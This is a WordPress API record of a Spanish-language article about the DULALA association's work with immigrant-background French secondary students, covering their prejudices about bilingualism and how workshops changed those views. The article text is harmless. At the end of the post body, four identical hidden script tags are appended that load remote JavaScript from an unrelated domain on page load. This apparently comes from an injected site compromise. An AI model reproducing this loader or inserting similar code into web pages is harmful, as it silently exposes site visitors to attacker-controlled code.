{"id":66756,"date":"2015-09-04T23:14:47","date_gmt":"2015-09-04T21:14:47","guid":{"rendered":"http:\/\/www.sorosoro.org\/?p=66756"},"modified":"2025-10-21T21:59:14","modified_gmt":"2025-10-21T19:59:14","slug":"el-reconocimiento-del-bilinguismo-en-hijos-de-emigrantes-un-triunfo-para-la-integracion","status":"publish","type":"post","link":"https:\/\/www.sorosoro.org\/es\/2015\/09\/el-reconocimiento-del-bilinguismo-en-hijos-de-emigrantes-un-triunfo-para-la-integracion\/","title":{"rendered":"El reconocimiento del biling\u00fcismo en hijos de emigrantes: Un triunfo para la integraci\u00f3n"},"content":{"rendered":"<p><span style=\"font-size:12px\">Publicado por Anna Stevanato el May 15, 2011<\/span><br \/>\n&nbsp;<br \/>\n<em>Por Anna Stevanato, fundadora de la asociaci\u00f3n D\u2019UNE LANGUE A L\u2019AUTRE (De una lengua a otra).<\/em><br \/>\n&nbsp;<br \/>\n<div id=\"attachment_2550\" style=\"width: 510px\" class=\"wp-caption aligncenter\"><img decoding=\"async\" aria-describedby=\"caption-attachment-2550\" class=\"size-full wp-image-2550\" title=\"Une Grande Ecole, pourquoi pas moi\" src=\"\/wp-content\/uploads\/groupelogos.jpg\" alt=\"Une Grande Ecole, pourquoi pas moi \" width=\"500\" height=\"auto\" \/><p id=\"caption-attachment-2550\" class=\"wp-caption-text\">Une Grande Ecole, pourquoi pas moi ?<\/p><\/div><\/p>\n<p>El programa <em>\u00ab Une Grande Ecole: Pourquoi pas moi? \u00bb<\/em> (PQPM) (\u201cUna Gran escuela: \u00bfY por qu\u00e9 yo no?), es un programa de acompa\u00f1amiento para colegiales y alumnos de bachillerato que provienen de medios modestos y viven en zonas desfavorecidas. Tiene como objetivo ayudarles a aumentar sus posibilidades de seguir estudios superiores ambiciosos.<\/p>\n<p>\u00bfPero qu\u00e9 relaci\u00f3n tiene esto con las lenguas y el biling\u00fcismo? Resulta que la inmensa mayor\u00eda de los alumnos (el 82 % de los 72 alumnos entrevistados) inscritos en este programa hablan o comprenden otro idioma aparte del franc\u00e9s.<\/p>\n<p>La asociaci\u00f3n D\u2019une Langue A L\u2019autre (De una Lengua A La Otra) (DULALA), cuyo objetivo es el reconocimiento y la valorizaci\u00f3n de todas las formas de biling\u00fcismo familiar, participa en el programa PQPM interviniendo en el plan ling\u00fc\u00edstico con adolescentes.<br \/>\n&nbsp;<br \/>\n<strong>Prejuicios a\u00fan vivaces<\/strong><\/p>\n<p>Los primeros experimentos permitieron mostrar que los prejuicios est\u00e1n muy presentes, incluso en el seno mismo de las comunidades que practican lenguas familiares no europeas.<\/p>\n<p>A la pregunta abierta \u201c\u00bfCu\u00e1l idioma asocia usted con franc\u00e9s cuando se habla de biling\u00fcismo?\u201d, el 75 % de los alumnos indic\u00f3 el ingl\u00e9s, el 5 % espa\u00f1ol, el 5 % portugu\u00e9s y solamente el 15 % cit\u00f3 otros idiomas (turco, japon\u00e9s, hebreo, lingala, bengal\u00ed, criollo)<\/p>\n<p>Esto nos indica que est\u00e1 fuertemente implantada la idea seg\u00fan la cual \u00fanicamente las lenguas europeas mayoritarias son dignas de figurar entre las que lo convierten a uno en biling\u00fce:<\/p>\n<p>\u201c\u00bfMaestra, acaso se puede ser biling\u00fce cuando hablamos otros idiomas distintos al franc\u00e9s y al ingl\u00e9s?\u201d Pregunta J., alumno de 2\u00b0 a\u00f1o de secundaria.<\/p>\n<p>\u00abEl biling\u00fcismo es una riqueza si hablas ingl\u00e9s o espa\u00f1ol\u2026si no \u00bfde qu\u00e9 sirve? \u00bb afirma B., en 1\u00b0 de bachillerato.<\/p>\n<p>\u00ab Mi padre es pluriling\u00fce, habla 4 idiomas: franc\u00e9s, ingl\u00e9s, tamil y urd\u00fa\u00bb dice B. \u00abS\u00ed, pero son sub lenguas\u00bb replica C., alumna de 2\u00b0 a\u00f1o de secundaria.<\/p>\n<p>En la pr\u00e1ctica misma del biling\u00fcismo, las representaciones pueden ser negativas: \u00abDos lenguas a la vez en la cabeza de una sola persona es demasiado. Se debe aprender una lengua a la vez\u00bb<\/p>\n<p>\u00abUn profesor nos dijo que utilizamos alrededor de 6 000 palabras. \u00bfCu\u00e1ndo uno es biling\u00fce se divide entre dos? \u00bfY cu\u00e1ndo uno es triling\u00fce, entre tres? \u00bb, dice F. preocupada, en 1\u00b0 de bachillerato.<\/p>\n<p><div id=\"attachment_2550\" style=\"width: 510px\" class=\"wp-caption aligncenter\"><img decoding=\"async\" aria-describedby=\"caption-attachment-2550\" class=\"size-full wp-image-2550\" title=\"Une Grande Ecole, pourquoi pas moi\" src=\"\/wp-content\/uploads\/groupelogos2.jpg\" alt=\"Une Grande Ecole, pourquoi pas moi \" width=\"500\" height=\"auto\" \/><p id=\"caption-attachment-2550\" class=\"wp-caption-text\">Une Grande Ecole, pourquoi pas moi ?<\/p><\/div><br \/>\n&nbsp;<br \/>\n<strong>Hacer que los idiomas gusten, cualquiera que \u00e9ste sea<\/strong><\/p>\n<p>A trav\u00e9s de intervenciones l\u00fadicas, DULALA se propuso transformar la imagen que estos j\u00f3venes tienen de la diversidad ling\u00fc\u00edstica y  destruir las representaciones que tienen de sus propias lenguas. A estos adolescentes que se identifican muy raramente como biling\u00fces, o que viven este biling\u00fcismo como una discapacidad, la asociaci\u00f3n explica que no solamente hablar un idioma distinto al franc\u00e9s o al ingl\u00e9s no es un obst\u00e1culo para la integraci\u00f3n, sino que es al contrario una fuerza, una riqueza ling\u00fc\u00edstica y cultural. Este trabajo de la autoestima es un motor para el \u00e9xito educativo.<\/p>\n<p><strong>Y de hecho, ciertos alumnos tambi\u00e9n expresan el gusto por aprender:<\/p>\n<p>\u00abCon este taller me dieron ganas de aprender el \u00e1rabe\u00bb dice A., en 2\u00b0 a\u00f1o de secundaria, cuya lengua de origen es el \u00e1rabe de Argelia.<\/p>\n<p>\u00abEsta noche voy a hablar bambara con mi madre, \u00a1va a ser gracioso! \u00bb dice O., en 1\u00b0 de bachillerato.<\/p>\n<p>\u00abDescubr\u00ed que soy biling\u00fce pasivo\u00bb,  dice P., alumno de 1\u00b0 de bachillerato.<\/p>\n<p>\u00ab Me di cuenta de que se puede ser biling\u00fce incluso si no se sabe leer o escribir\u00bb, descubre L., tambi\u00e9n en 1\u00b0 de bachillerato.<br \/>\n&nbsp;<br \/>\n<strong>La libre elecci\u00f3n de cada uno<\/strong><\/p>\n<p>\u00ab Yo hablo solamente en turco con mis padres, aqu\u00ed no puedo\u00bb, afirma J, en 1\u00b0 de bachillerato.<\/p>\n<p>De hecho, compartir una palabra o frases en su propia lengua materna es un ejercicio que est\u00e1 lejos de ser com\u00fan: algunos lo hacen con orgullo y entusiasmo mientras que otros son m\u00e1s discretos y t\u00edmidos, y otros incluso prefieren hablar una lengua extranjera aprendida en la escuela a expresarse en su lengua materna.<\/p>\n<p>Razones \u00e9tnicas, familiares o ling\u00fc\u00edsticas, pueden hacer que la persona no tenga ganas de exhibirse como un representante de una lengua o de un pa\u00eds. Esta elecci\u00f3n tiene que ser respetada y el alumno en cuesti\u00f3n debe tener la posibilidad de interesarse o no, de hablar y compartir esta lengua o no.<\/p>\n<p>Ya que una lengua est\u00e1 lejos de ser neutra, es m\u00e1s que simples sonidos, nos dirige a nuestra identidad m\u00e1s profunda.<script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Publicado por Anna Stevanato el May 15, 2011 &nbsp; Por Anna Stevanato, fundadora de la asociaci\u00f3n D\u2019UNE LANGUE A L\u2019AUTRE (De una lengua a otra). &nbsp; El programa \u00ab Une Grande Ecole: Pourquoi pas moi? \u00bb (PQPM) (\u201cUna Gran escuela: \u00bfY por qu\u00e9 yo no?), es un programa de acompa\u00f1amiento para colegiales y alumnos de [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[4],"tags":[],"class_list":["post-66756","post","type-post","status-publish","format-standard","hentry","category-otro"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.0 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>El reconocimiento del biling\u00fcismo en hijos de emigrantes: Un triunfo para la integraci\u00f3n - Sorosoro<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.sorosoro.org\/es\/2015\/09\/el-reconocimiento-del-bilinguismo-en-hijos-de-emigrantes-un-triunfo-para-la-integracion\/\" \/>\n<meta property=\"og:locale\" content=\"es_ES\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"El reconocimiento del biling\u00fcismo en hijos de emigrantes: Un triunfo para la integraci\u00f3n - Sorosoro\" \/>\n<meta property=\"og:description\" content=\"Publicado por Anna Stevanato el May 15, 2011 &nbsp; Por Anna Stevanato, fundadora de la asociaci\u00f3n D\u2019UNE LANGUE A L\u2019AUTRE (De una lengua a otra). &nbsp; El programa \u00ab Une Grande Ecole: Pourquoi pas moi? \u00bb (PQPM) (\u201cUna Gran escuela: \u00bfY por qu\u00e9 yo no?), es un programa de acompa\u00f1amiento para colegiales y alumnos de [&hellip;]\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.sorosoro.org\/es\/2015\/09\/el-reconocimiento-del-bilinguismo-en-hijos-de-emigrantes-un-triunfo-para-la-integracion\/\" \/>\n<meta property=\"og:site_name\" content=\"Sorosoro\" \/>\n<meta property=\"article:published_time\" content=\"2015-09-04T21:14:47+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2025-10-21T19:59:14+00:00\" \/>\n<meta name=\"author\" content=\"Sorosoro\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Escrito por\" \/>\n\t<meta name=\"twitter:data1\" content=\"Sorosoro\" \/>\n\t<meta name=\"twitter:label2\" content=\"Tiempo de lectura\" \/>\n\t<meta name=\"twitter:data2\" content=\"4 minutos\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/2015\/09\/el-reconocimiento-del-bilinguismo-en-hijos-de-emigrantes-un-triunfo-para-la-integracion\/#article\",\"isPartOf\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/2015\/09\/el-reconocimiento-del-bilinguismo-en-hijos-de-emigrantes-un-triunfo-para-la-integracion\/\"},\"author\":{\"name\":\"Sorosoro\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/a457def540d2d426a1f19547404f1917\"},\"headline\":\"El reconocimiento del biling\u00fcismo en hijos de emigrantes: Un triunfo para la integraci\u00f3n\",\"datePublished\":\"2015-09-04T21:14:47+00:00\",\"dateModified\":\"2025-10-21T19:59:14+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/2015\/09\/el-reconocimiento-del-bilinguismo-en-hijos-de-emigrantes-un-triunfo-para-la-integracion\/\"},\"wordCount\":830,\"articleSection\":[\"Otro\"],\"inLanguage\":\"es\"},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/2015\/09\/el-reconocimiento-del-bilinguismo-en-hijos-de-emigrantes-un-triunfo-para-la-integracion\/\",\"url\":\"https:\/\/www.sorosoro.org\/es\/2015\/09\/el-reconocimiento-del-bilinguismo-en-hijos-de-emigrantes-un-triunfo-para-la-integracion\/\",\"name\":\"El reconocimiento del biling\u00fcismo en hijos de emigrantes: Un triunfo para la integraci\u00f3n - Sorosoro\",\"isPartOf\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/#website\"},\"datePublished\":\"2015-09-04T21:14:47+00:00\",\"dateModified\":\"2025-10-21T19:59:14+00:00\",\"author\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/a457def540d2d426a1f19547404f1917\"},\"breadcrumb\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/2015\/09\/el-reconocimiento-del-bilinguismo-en-hijos-de-emigrantes-un-triunfo-para-la-integracion\/#breadcrumb\"},\"inLanguage\":\"es\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.sorosoro.org\/es\/2015\/09\/el-reconocimiento-del-bilinguismo-en-hijos-de-emigrantes-un-triunfo-para-la-integracion\/\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/2015\/09\/el-reconocimiento-del-bilinguismo-en-hijos-de-emigrantes-un-triunfo-para-la-integracion\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Accueil\",\"item\":\"https:\/\/www.sorosoro.org\/es\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"El reconocimiento del biling\u00fcismo en hijos de emigrantes: Un triunfo para la integraci\u00f3n\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/#website\",\"url\":\"https:\/\/www.sorosoro.org\/es\/\",\"name\":\"Sorosoro\",\"description\":\"Pour que vivent les langues du monde !\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.sorosoro.org\/es\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"es\"},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/a457def540d2d426a1f19547404f1917\",\"name\":\"Sorosoro\",\"url\":\"https:\/\/www.sorosoro.org\/es\/author\/admin\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"El reconocimiento del biling\u00fcismo en hijos de emigrantes: Un triunfo para la integraci\u00f3n - Sorosoro","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.sorosoro.org\/es\/2015\/09\/el-reconocimiento-del-bilinguismo-en-hijos-de-emigrantes-un-triunfo-para-la-integracion\/","og_locale":"es_ES","og_type":"article","og_title":"El reconocimiento del biling\u00fcismo en hijos de emigrantes: Un triunfo para la integraci\u00f3n - Sorosoro","og_description":"Publicado por Anna Stevanato el May 15, 2011 &nbsp; Por Anna Stevanato, fundadora de la asociaci\u00f3n D\u2019UNE LANGUE A L\u2019AUTRE (De una lengua a otra). &nbsp; El programa \u00ab Une Grande Ecole: Pourquoi pas moi? \u00bb (PQPM) (\u201cUna Gran escuela: \u00bfY por qu\u00e9 yo no?), es un programa de acompa\u00f1amiento para colegiales y alumnos de [&hellip;]","og_url":"https:\/\/www.sorosoro.org\/es\/2015\/09\/el-reconocimiento-del-bilinguismo-en-hijos-de-emigrantes-un-triunfo-para-la-integracion\/","og_site_name":"Sorosoro","article_published_time":"2015-09-04T21:14:47+00:00","article_modified_time":"2025-10-21T19:59:14+00:00","author":"Sorosoro","twitter_card":"summary_large_image","twitter_misc":{"Escrito por":"Sorosoro","Tiempo de lectura":"4 minutos"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/www.sorosoro.org\/es\/2015\/09\/el-reconocimiento-del-bilinguismo-en-hijos-de-emigrantes-un-triunfo-para-la-integracion\/#article","isPartOf":{"@id":"https:\/\/www.sorosoro.org\/es\/2015\/09\/el-reconocimiento-del-bilinguismo-en-hijos-de-emigrantes-un-triunfo-para-la-integracion\/"},"author":{"name":"Sorosoro","@id":"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/a457def540d2d426a1f19547404f1917"},"headline":"El reconocimiento del biling\u00fcismo en hijos de emigrantes: Un triunfo para la integraci\u00f3n","datePublished":"2015-09-04T21:14:47+00:00","dateModified":"2025-10-21T19:59:14+00:00","mainEntityOfPage":{"@id":"https:\/\/www.sorosoro.org\/es\/2015\/09\/el-reconocimiento-del-bilinguismo-en-hijos-de-emigrantes-un-triunfo-para-la-integracion\/"},"wordCount":830,"articleSection":["Otro"],"inLanguage":"es"},{"@type":"WebPage","@id":"https:\/\/www.sorosoro.org\/es\/2015\/09\/el-reconocimiento-del-bilinguismo-en-hijos-de-emigrantes-un-triunfo-para-la-integracion\/","url":"https:\/\/www.sorosoro.org\/es\/2015\/09\/el-reconocimiento-del-bilinguismo-en-hijos-de-emigrantes-un-triunfo-para-la-integracion\/","name":"El reconocimiento del biling\u00fcismo en hijos de emigrantes: Un triunfo para la integraci\u00f3n - Sorosoro","isPartOf":{"@id":"https:\/\/www.sorosoro.org\/es\/#website"},"datePublished":"2015-09-04T21:14:47+00:00","dateModified":"2025-10-21T19:59:14+00:00","author":{"@id":"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/a457def540d2d426a1f19547404f1917"},"breadcrumb":{"@id":"https:\/\/www.sorosoro.org\/es\/2015\/09\/el-reconocimiento-del-bilinguismo-en-hijos-de-emigrantes-un-triunfo-para-la-integracion\/#breadcrumb"},"inLanguage":"es","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.sorosoro.org\/es\/2015\/09\/el-reconocimiento-del-bilinguismo-en-hijos-de-emigrantes-un-triunfo-para-la-integracion\/"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/www.sorosoro.org\/es\/2015\/09\/el-reconocimiento-del-bilinguismo-en-hijos-de-emigrantes-un-triunfo-para-la-integracion\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Accueil","item":"https:\/\/www.sorosoro.org\/es\/"},{"@type":"ListItem","position":2,"name":"El reconocimiento del biling\u00fcismo en hijos de emigrantes: Un triunfo para la integraci\u00f3n"}]},{"@type":"WebSite","@id":"https:\/\/www.sorosoro.org\/es\/#website","url":"https:\/\/www.sorosoro.org\/es\/","name":"Sorosoro","description":"Pour que vivent les langues du monde !","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.sorosoro.org\/es\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"es"},{"@type":"Person","@id":"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/a457def540d2d426a1f19547404f1917","name":"Sorosoro","url":"https:\/\/www.sorosoro.org\/es\/author\/admin\/"}]}},"_links":{"self":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/posts\/66756","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/comments?post=66756"}],"version-history":[{"count":0,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/posts\/66756\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/media?parent=66756"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/categories?post=66756"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/tags?post=66756"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}